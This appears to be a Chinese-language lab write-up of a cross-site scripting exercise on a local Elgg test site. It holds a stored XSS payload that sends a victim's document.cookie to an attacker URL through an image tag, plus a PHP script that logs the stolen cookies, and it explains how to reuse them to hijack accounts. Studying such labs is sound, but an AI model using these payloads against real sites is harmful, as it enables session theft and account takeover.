xss学习实验

xss主体分为两类
来自内部:主要利用程序自身的漏洞,构造跨站语句。
来自外部:自己构造xss跨站漏洞页面,然后诱惑管理员点击,从而获取信息

下面进行实验楼的实验
配置DNS :sudo vim /etc/hosts
配置网站文件: sudo vim /etc/apache2/conf.d/lab.conf

启动sql和apache服务
sudo mysqld_safe
sudo service apache2 start

登录网站,在用户信息编辑界面输入,红框内为获得的cookie
<script>document.write(document.cookie);</script>
xss学习实验

但是我们这是仍然获得的是自己的cookie,我们不需要自己的cookie,我们需要在不登录的情况下,获取别人的cookie,这样我们就能使用cookie直接登录别人的账号。

要窃取别人的cookie,首先需要搭建一个能接受cookie的环境,然后通过JavaScript代码把别人的cookie通过http请求发送到所搭的环境。

修改在用户信息编辑界面输入的代码
<script>document.write('<img src=http://www.xsslabelgg.com/hac...' + escape(document.cookie) + '>');</script>

在网站目录下搭建一个hack.php文件
sudo vim /var/www/XSS/elgg/hack.php

代码如下

<?php
$cookie = $_GET["c"];
$log = fopen("cookie.txt","a");
fwrite($log,$cookie ."n");
fclose($log);
?>

创建一个cookie.txt储存cookie,并且这个文件要有写入权限
sudo touch cookie.txt
sudo chmod 777 cookie.txt

刷新之前的用户编辑界面后,查看cookie.txt文件,发现已经获取到用户的cookiexss学习实验

获取到对方的cookie之后,攻击者可以伪造受害者向服务器发送请求。

相关推荐